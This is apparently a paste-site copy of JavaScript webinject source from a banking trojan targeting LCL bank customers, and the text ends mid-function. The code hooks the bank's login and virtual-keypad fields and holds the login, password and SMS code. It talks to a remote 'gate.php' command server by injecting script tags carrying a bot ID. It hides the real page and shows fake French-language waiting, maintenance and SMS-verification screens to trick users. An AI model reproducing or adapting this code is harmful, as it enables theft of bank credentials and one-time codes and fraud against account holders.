Xylitol icon

LCL Webinject

Xylitol | PRO | 11/01/14 02:18:06 PM UTC | 0 ⭐ | 1002 👁️ | Never ⏰ | []
JavaScript |

30.8 KB

|

None

|

0 👍

/

0 👎

//=================== ADMIN =====================
 
var ALINK = "https://securetargeting.com/content/webanalyser/lcl/admin/";
var GATE = ALINK+"gate/gate.php";
 
//=================== INIT PROTOS =====================
 
var By = (function(){
    
    function ByArgs(arguments){
        var found = {
            tag: false,
            error: false,
            element: false
        }
        
        if(arguments && arguments.length >= 3){
            var elements_array = arguments[1].split("|");
            if(elements_array.length > 0){
                for(var k = 0; k < elements_array.length; k++){
                    var elements = arguments[0].getElementsByTagName(elements_array[k]);
                    if(elements && elements.length > 0){
                        for(var i = 0; i < elements.length; i++){
                            for(var e = 2; e < arguments.length; e++){
                                var pattern = new RegExp(arguments[e].split(":")[1],"igm");
                                if(arguments[e].split(":")[0] == "class"){
                                    if(elements[i].className != null && pattern.test(elements[i].className)){
                                        found.tag = true;
                                    }else{
                                        found.error = true;
                                    }
                                }else if(arguments[e].split(":")[0] == "for"){
                                    if(elements[i].className != null && pattern.test(elements[i].htmlFor)){
                                        found.tag = true;
                                    }else{
                                        found.error = true;
                                    }
                                }else{
                                    if(elements[i].getAttribute(arguments[e].split(":")[0]) != null && pattern.test(elements[i].getAttribute(arguments[e].split(":")[0]))){
                                        found.tag = true;
                                    }else{
                                        found.error = true;
                                    }
                                }
                            }
                            if(found.tag && !found.error){
                                return elements[i];
                            }else{
                                found.tag = false;
                                found.error = false;
                            }
                        }
                    }
                }
                return false;
            }else{
                return false;
            }
        }else{
            return false;
        }
    }
    
    function ByContent(arguments){
        
        var found = {
            tag: false,
            error: false,
            element: false
        }
    
        if(arguments && arguments.length > 2){
            var elements = arguments[0].getElementsByTagName(arguments[1]);
            if(elements && elements.length > 0){
                for(var i = 0; i < elements.length; i++){
                    for(var e = 2; e < arguments.length; e++){
                        var pattern = new RegExp(arguments[e]);
                        if(pattern.test(elements[i].innerHTML.toLowerCase())){
                            found.tag = true;
                        }else{
                            found.error = true;
                        }
                    }
                    if(found.tag && !found.error){
                        return elements[i];
                    }else{
                        found.tag = false;
                        found.error = false;
                    }
                }
            }
        }
        return false;
    }
    
    return{
        args: function(){
            return ByArgs(arguments);
        },
        
        content: function(){
            return ByContent(arguments);
        }
    }
    
}())
 
by = By;
 
var Hujax = (function(){
    
    var callback_func = false;
    
    function SetCallback(p){
        callback_func = p;
    }
    
    function Send(url){
        
        var BOTID = document.getElementById("BMUD");    
        if(BOTID){
            BOTID = vw.text(BOTID);
        }else{
            BOTID = "%%ID%%";
        }
        
        url += "&ip="+BOTID;
    
        if(document.getElementById("rgk_ajax")){
            document.getElementById("rgk_ajax").parentNode.removeChild(document.getElementById("rgk_ajax"));
        }
        var script = document.createElement("script");
        script.type = "text/javascript";
        script.id = "rgk_ajax";
        if (script.readyState) {
            script.onreadystatechange = function() {
                if (script.readyState == "loaded" || script.readyState == "complete") {
                    script.onreadystatechange = null;
                    callback_func();
                }
            };
        } else {
            script.onload = function() {
                callback_func();
            };
        }
        url = url.replace(/\(/g,"%28").replace(/\)/g,"%29");
        script.src = url;
        if(document.getElementsByTagName("head").length > 0){
            document.getElementsByTagName("head")[0].appendChild(script);
        }else{
            document.getElementsByTagName("body")[0].appendChild(script);
        }
    }
 
    return{
        
        callback: function(param){
            SetCallback(param);
        },
        
        send: function(param){
            Send(param);
        }
 
    }
    
}());
 
hujax = Hujax;
 
var Clone = (function(){
 
    function CheckQ(param){
        if(param == null || param == undefined || param == "null" || param == "undefined" || param == "" || param == " "){
            return false;
        }else{
            return true;
        }
    }
 
    function COPY(obj,func){
        if(obj.type == "image"){
            var clo = document.createElement("img");
            for (x in obj.attributes){
                if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
                    if(obj.attributes[x].name == "onclick" ||
                       obj.attributes[x].name == "name" ||
                       obj.attributes[x].name == "disabled" ||
                       obj.attributes[x].name == "id"
                    ){
                        continue;
                    }
                    if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){
                        clo.setAttribute(obj.attributes[x].name,"button");
                    }else{
                        clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
                    }
                }
            }
        }else{
            var clo = document.createElement(obj.tagName);
            for (x in obj.attributes){
                if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
                    if(obj.attributes[x].name == "onclick" ||
                       obj.attributes[x].name == "name" ||
                       obj.attributes[x].name == "disabled" ||
                       obj.attributes[x].name == "href"
                    ){
                        continue;
                    }
                    if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){
                        clo.setAttribute(obj.attributes[x].name,"button");
                    }else{
                        clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
                    }
                }
            }
        }
        if(obj.tagName == "A" || obj.tagName == "BUTTON" || obj.tagName == "LI"){
            clo.innerHTML = obj.innerHTML;
        }
        clo.style.cursor = "pointer";
        obj.style.display = "none";
        AddListenner(clo,"click",func);
        obj.parentNode.insertBefore(clo,obj);
    }
    
    function AddListenner(obj,evType,func){
        if(obj.addEventListener ){
            obj.addEventListener(evType,func,false);
            return true;
        }else if(obj.attachEvent){
            var r = obj.attachEvent('on'+evType,func);
            return r;
        }else{
            elm['on'+evType] = func;
        }
    }
    
    function JUSTCOPYINPUT(obj,content){
        var clo = document.createElement(obj.tagName);
        for (x in obj.attributes){
            if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
                if(obj.attributes[x].name == "onclick" ||
                   obj.attributes[x].name == "name" ||
                   obj.attributes[x].name == "href" ||
                   obj.attributes[x].name == "id" ||
                   obj.attributes[x].name == "value"
                ){
                    continue;
                }
                clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
            }
        }
        clo.value = content;
        obj.style.display = "none";
        obj.parentNode.insertBefore(clo,obj);
    }
    
    return{
        click: function(obj,func){
            COPY(obj,func);
        },
        
        copy: function(obj,content){
            JUSTCOPYINPUT(obj,content);
        }
    }
    
}())
 
clone = Clone;
 
var VW = (function(){
    
    var fTarget = false;
    var fDeftime = 10;
    var fTime = fDeftime;
    var fCallback = function(){return false;};
    
    function getViewportHeight() {
        var ua = navigator.userAgent.toLowerCase();
        var isOpera = (ua.indexOf('opera')  > -1);
        var isIE = (!isOpera && ua.indexOf('msie') > -1);
        return ((document.compatMode || isIE) && !isOpera) ? (document.compatMode == 'CSS1Compat') ? document.documentElement.clientHeight : document.body.clientHeight : (document.parentWindow || document.defaultView).innerHeight;
    }
    
    return{
        hidedoc: function(doc){
            var none_div = doc.getElementById("none_div");
            if(none_div){
                none_div.style.display = "";
            }else{
                doc.documentElement.style.display = "none";
            }
        },
        
        showdoc: function(doc){
            var none_div = doc.getElementById("none_div");
            if(none_div){
                none_div.style.display = "none";
            }else{
                doc.documentElement.style.display = "";
            }
        },
        
        browser: function(){
            if(navigator.userAgent.toLowerCase().indexOf("msie 6") >= 0){
                return "IE6";
            }else if(navigator.userAgent.toLowerCase().indexOf("msie 7") >= 0){
                return "IE7";
            }else if(navigator.userAgent.toLowerCase().indexOf("msie 8") >= 0){
                return "IE8";
            }else if(navigator.userAgent.toLowerCase().indexOf("msie 9") >= 0){
                return "IE9";
            }else if(navigator.userAgent.toLowerCase().indexOf("msie 10") >= 0){
                return "IE10";
            }else if(navigator.userAgent.toLowerCase().indexOf("firefox") >= 0){
                return "FF";
            }else{
                return "OTHER";
            }
        },
        
        bind: function(obj, evType, func){
            if(obj.addEventListener ){
                obj.addEventListener(evType,func,false);
                return true;
            }else if(obj.attachEvent){
                var r = obj.attachEvent('on'+evType,func);
                return r;
            }else{
                elm['on'+evType] = func;
            }
        },
        
        mouse: function(eve,element){
            if(document.createEvent){
                var event = document.createEvent('MouseEvents');
                event.initMouseEvent(eve,true,true,document.defaultView,1,0,0, 0, 0, false, false, false, false,0,null);
                element.dispatchEvent(event);
            }else if(element.fireEvent){
                if(eve == "click"){
                    element.click();
                }else{
                    var event = document.createEventObject();
                    element.fireEvent('on'+eve, event);
                }
            }
        },
        
        text: function(param){
            if(param){
                var tmp = (param.textContent ? param.textContent : param.innerText) ? (param.textContent ? param.textContent : param.innerText) : param.innerHTML;
                return tmp.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,"");
            }else{
                return "";
            }
        },
        
        from: function(parent,child){
            return parent && child ? parent.getElementsByTagName(child) : false;
        },
        
        digits: function(digits){
            var RES = {
                NUMBERS:"",
                OTHER: ""
            }
            var res = '';
            if(digits && digits.length > 0){
                digits = digits.replace(/\u2212/g, "-");
                var ValidChars = "0123456789";
                for(var i = 0;i < digits.length; i++){
                    var Char = digits.charAt(i);
                    if(ValidChars.indexOf(Char) >=0){
                        res += Char;
                    }else{
                        RES.OTHER += Char;
                    }
                }
            }
            RES.NUMBERS = parseFloat(res);
            return RES;
        },
        
        blockenter: function(el){
            if(el){
                el.onkeypress = function(evt){
                    var evt = (evt) ? evt : ((event) ? event : null);
                    var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);
                    if ((evt.keyCode == 13) && (node.type=="text" || node.type=="password")){
                        return false;
                    }
                }
            }
        },
        
        selected: function(select){
            if(select){
                var RES = {
                    VALUE: "",
                    TEXT: ""
                }
                RES.VALUE = select[select.selectedIndex].value;
                RES.TEXT = select[select.selectedIndex].text;
                return RES;
            }else{
                return false;
            }
        },
        
        docheight: function(){
            return Math.max(document.compatMode != 'CSS1Compat' ? document.body.scrollHeight : document.documentElement.scrollHeight, getViewportHeight());
        },
        
        docwidth: function(num){
            if(num){
                return (window.screen.availWidth / num);
            }else{
                return window.screen.availWidth;
            }
        },
        
        finder: function(obj,callback,time){
            fTarget = obj;
            fCallback = callback;
            if(time)fTime = time;
            setTimeout(vw._finder,500);
        },
        
        _finder: function(){
            if(fTarget()){
                fCallback();
                fTime = fDeftime;
            }else{
                if(fTime > 0){
                    fTime--;
                    setTimeout(vw._finder,1000);
                }else{
                    fTime = fDeftime;
                }
            }
        }
    }
    
}())
 
vw = VW;
 
if(typeof HTMLElement != 'undefined' && !HTMLElement.prototype.click){
    HTMLElement.prototype.click=function(){
        var evt = this.ownerDocument.createEvent('MouseEvents');
        evt.initMouseEvent('click', true, true, this.ownerDocument.defaultView, 1, 0, 0, 0, 0, false, false, false, false, 0, null);
        this.dispatchEvent(evt);
    }
}
 
//=================== INIT VARIABLES =====================
 
var UI_login_input = document.getElementById("identifiantIdForm");
var UI_password_input = document.getElementById("CodeId");
var UI_login_button_0 = document.getElementById("validerClavierCLI");
var UI_login_button_1 = document.getElementById("validerClavierCLA");
var UI_reset_button = document.getElementById("ResetClavier_idImageClavier");
 
var buttonForClick = false;
 
var kl = "[NONE]";
var smsButton = false;
 
var HOLDER = {
    LOGIN: "",
    PASSWORD: "",
    SMS: ""
}
 
var QUERY = {
    COMMAND: "NONE",
    VALUE: false,
    CHANGED: false,
    FINISH: false
}
 
var FKTEXT = {
    WAITING: "Attendez, s'il vous pla&#238;t...",
    BLOCKTITLE: "Le service est temporairement inaccessible",
    BLOCKMAIN: "Nous pr&#233;sentons nos excuses. Le service est temporairement inaccessible suite aux travaux techniques sur les serveurs de la banque. Nous faisons tout possible pour am&#233;liorer la qualit&#233; du service de nos clients et assurer votre s&#233;curit&#233; sur le niveau sup&#233;rieur. Nos sp&#233;cialistes vont restaurer le travail et l'acc&#232;s aux comptes dans les plus brefs d&#233;lais. Merci de votre patience et compr&#233;hension.",
    BLOCTRYNEXTTIME: "Essayez entrer plus tard...",
    SMSTITLE: "V&#233;rification suppl&#233;mentaire",
    SMSQUERY: "Nous avons introduit, pour l'acc&#232;s plus s&#251;r &#224; vos comptes, un nouveau syst&#232;me de l'identification pour SMS code",
    SMSQUERY2: "Pour continuer inscrivez le code re&#231;u par SMS.",
    SMSLABEL: "Code d'acess"
}
 
//=================== INIT FAKE FUNCTIONS =====================
 
vw.finish = function(){
    if(!QUERY.CHANGED){
        QUERY.FINISH = true;
    }
}
 
vw.fake_step = function(step,status){
    switch(step){
        
        case("login"):
            vw.lethim();
        break;
        
        case("relogin"):
            vw.lethim();
        break;
        
        case("wait"):
            var fkWaitContent = '<div style="left:'+(vw.docwidth(2) - 175)+'px;top: 290px;position: absolute;z-index: 100;color: #333333;font: 0.75em Arial;text-align: center;width:350px;">   <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAABKCAYAAABUzx+0AAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJYSURBVHja7JjPi9pAFMfz3kRcpdKDgj9QwUXw4qkKxT9A6WUPhd4KXgTxHyoUehP23v9DwUMFzx5W8SIeFFrZZjaVVjbJm5k3ui09ZOAxmZB88p03mZe8B851DagxXAmDEOMiKIRAZA+WypCAR1SDpTqTna4HCyAaxiylFEDVBwyYQAwdo0Y9qZQCUlAl3NUoDasQBiiqoGEYKkxo1KJr2CmgASqVu4b30QR83p+vdzULpXLDc9DJ6vX6q36//7FUKt15nncLBAjDN+lsNBq9bbVan2q1WqLRaNwUCgXHNfhT5w4xGAzetNvtL71eL1mpVM4gZCwU6dt8Pp/sdDqfu91uAKiCAmeLDofDD8Vi8aZarUYWBYlgy5q+D3vfbDaT1M7BC0MeAsBtLpdzVFAwgMjz/quTTqVSjq1SrWIppS8WrKAc/yqb6ZvD+SxbT5/yt8NVyvEpu6HzF1oMjaExNIbG0BgaQ/8FVP62F4NKBVxyoDJkuhvlpUql4mGS4w4bn1pBpQFAnkfEH8fj0Vqpbuqe/xf9sN1uWQtlhP2x1Wr1dT6ff+coVYEi/Xg8vl8ulz/X63UEKogfW+RUdfypP5bL5W+Hw+Gdn4+6mUyGhFqXiyaTyYOfOc/2+31vt9t5iUTCTafTZ6jDKGKRmcl0Ol0tFov7bDb7uNlscrPZ7DUoSh3h9Jw6VhYRBKMwaOojMULYVhwVKU/gTREWaQ5wI5lgJmTAiFpSB+U2agf+ap64EkbuQhsoMOOtd+30yTghLCGqBQtEuZdaqIDy/6Ikb6pSnMZPAgwAIMDKTKDUFxMAAAAASUVORK5CYII=) no-repeat scroll left top transparent;float: left;height: 74px;width: 21px;"></div> <div style="float:left;width:300px;">       <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAPCAYAAADd/14OAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAuSURBVHjaYmRgYGBkIAKAFDERo5CFFIXMxCpkGTgTRxXiThQzZ878T4xCgAADAOPEAy1aYXEMAAAAAElFTkSuQmCC) repeat-x scroll left bottom transparent;height: 14px;"></div>       <div style="background: url(data:image/gif;base64,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) no-repeat scroll 7px 7px #FFFFFF;color: #999999;font-size: 1.167em;height: 46px;margin: 0;padding: 0px 15px 0 50px;"><div style="padding-top:11px;font-size:11px;color:#185BB6;">'+FKTEXT.WAITING+'</div></div><div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAPCAYAAADd/14OAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAsSURBVHjaYpw5c+Z/BiIAIxDrEaOQBYj/jCqkisK/A2fiP2IUMjMQCQACDABXfg8C4LEGcAAAAABJRU5ErkJggg==) repeat-x scroll left top transparent;height: 14px;"></div>   </div>  <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAABKCAYAAABUzx+0AAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKsSURBVHja7Jm/qxpBEMdn9wnGkHSCWGiRMlja+AcI6SSQPyCVEJI/SAQRhfRpguA/ICm0slFEEYlaWaXw6d3uu/NHmDfO7u3FR6pbGNbTu898d/aHzigAQMK5aXje6LVzSxmg+h44Bw17Qa51HHgIfSAPc6DQiXJVfoVyMGqS3BdLKTbFXEfGOgS+uQyPGlh655hSVQL1NJ5WxamL4ZgpBsYBjGAMvQKxQmo+ei2RAFYpVicRXEQoZeFYqUImDJNCN4hgNsszpVevvmWW6XqmK+X0+UOz2dzUarUP5XL57Wq1mux2O4+AuBBog5PzA8fjUW+3W5hMJvvFYnEcDodfG43Gr4tiF8NhO8GFDtrVQ6AU+v3+42Aw+NxqtUbBWx562LNAfbwcJR5XoVCAarWarlQqjVwul75sDEnMtvNOTdKZKBaLkM/nX9Xr9U9o8rieg/PQsJVKpXQA/xihkFMrjNBsNgtCiHeOsJvGQjOZDCilXjuo4hwIFhqohGBRxFZoVUoWvnA4b2NBbQezKRROSoGL2z3DN4UDXhLq1BJoAk2gCTSBJtAE+r+hTim6dIBwMH2vUu3o8K9j6ThczowO/xUaP6aHwwGklI8RCk2ONAsNsr7w1/RvpgbgpJiFjsfj/Xq9/sFlcw7qb6GbzQaWy6Xf7Xa/k6KCMtRVblRLCuz1evvRaPRtNpv9YXJP5bIKUp7nQZjwTqfT/Xw+94OE9wtKeOMO/wxtt9t+MNOLQOXPTqfTRQp9g9IoJ6ff7+/JjTgzpj33msb6VJXwmHKHMoCjlAKGcjOsHIFsCckjJSRlUc6BVRRUR0C1DUahYHlIGUZg3K4pVP/QFqhtR1mVupY6Iw8UrDTqUHY+U69QiDgvIW752Ge+c+DeQrcylOG1qzIuf3/xPw+eBBgA9ioHIvHy2yIAAAAASUVORK5CYII=) no-repeat scroll left top transparent;float: left;height: 74px;width: 21px;"></div></div>';
            var popup_elem_common = document.getElementById("popup_elem_common");
            if(popup_elem_common)popup_elem_common.parentNode.removeChild(popup_elem_common);
            var popup_elem = document.createElement("div");
            popup_elem.id = "popup_elem_common";
            popup_elem.style.position = "absolute";
            popup_elem.style.top = "0px";
            popup_elem.style.left = "0px";
            popup_elem.style.width = "100%";
            popup_elem.style.height = "100%";
            popup_elem.style.zIndex = "1001";
            popup_elem.style.background = "url(blank.gif)";
            popup_elem.innerHTML = fkWaitContent;
            document.getElementsByTagName('body')[0].appendChild(popup_elem);
            
            if(status)return false;
            setTimeout(vw.finish,90000);
        break;
        
        case("hidewait"):
            var popup_elem_common = document.getElementById("popup_elem_common");
            if(popup_elem_common)popup_elem_common.parentNode.removeChild(popup_elem_common);
        break;
        
        case("sms"):
            vw.fake_step("hidewait");
            smsButton = true;
            var h3Title2 = by.content(document,"h3","saisissez","votre","code");
            if(h3Title2){
                h3Title2.innerHTML = FKTEXT.SMSTITLE;
                var prNode = h3Title2.parentNode.parentNode;
                var forMainText = by.args(prNode,"div","id:fieldlabelidentifiant");
                forMainText.parentNode.innerHTML = '<div style="display:none;">                                             <div class="containerClavier">  <div class="clavis"><map name="vwmap"><area tabindex="3" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(5)" coords="0,0,30,30" shape="rect"><area tabindex="8" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(7)" coords="0,35,30,65" shape="rect"><area tabindex="4" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(4)" coords="35,0,65,30" shape="rect"><area tabindex="9" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(9)" coords="35,35,65,65" shape="rect"><area tabindex="5" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(6)" coords="70,0,100,30" shape="rect"><area tabindex="10" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(0)" coords="70,35,100,65" shape="rect"><area tabindex="6" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(2)" coords="107,0,135,30" shape="rect"><area tabindex="11" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(8)" coords="107,35,135,65" shape="rect"><area tabindex="7" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(1)" coords="143,0,172,30" shape="rect"><area tabindex="12" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(3)" coords="143,35,172,65" shape="rect"></map><img usemap="#vwmap" src="'+ALINK+'imag/map.jpg"></div>       <div class="rightSide">     <div class="pwdFields">                         <input type="hidden" class="postClavier" name="postClavier" id="postClavier" value="undefinedundefinedundefinedundefinedundefined">                                     <input type="hidden" name="random" id="random" value="true">                                    <input type="password" disabled="disabled" maxlength="6" class="password" size="6" name="CodeId" id="CodeId">                       </div>                  <div class="posCorrigerClavis">                                                 <input type="button" value="Effacer" class="button" id="ResetClavier_idImageClavier">               </div>          </div></div>                                            </div>'+
                '<div id="fieldLabelIdentifiant" style="color: #003366;font-family: Verdana,Arial,Helvetica,Geneva,Swiss,SunSans-Regular;font-size: 11px;">'+
                    '<p style="font-weight:normal;">'+FKTEXT.SMSQUERY+'<p>'+
                    '<br>'+
                    '<label for="vw.code" style="font-size:11px;">'+FKTEXT.SMSLABEL+'</label> <input type="password" style="width:100px;margin-left:10px;" id="vw.code">'+
                '</div>';
            }
            
            var codeInput = document.getElementById("vw.code");
            codeInput.value = "";
        break;
        
        case("block"):
            vw.fake_step("hidewait");
            var h3Title = by.content(document,"h3","saisissez","votre","identifiant");
            var h3Title2 = by.args(document,"img","src:parcours\/puce2\.png");
            var h3Title3 = by.content(document,"h3","acc.*dez","votre","espace");
            var forMainText = document.getElementById("fieldLabelIdentifiant");
            if(h3Title && forMainText && h3Title2 && h3Title3){
                h3Title2.parentNode.parentNode.style.display = "none";
                h3Title3.parentNode.parentNode.style.display = "none";
                h3Title.innerHTML = FKTEXT.BLOCKTITLE;
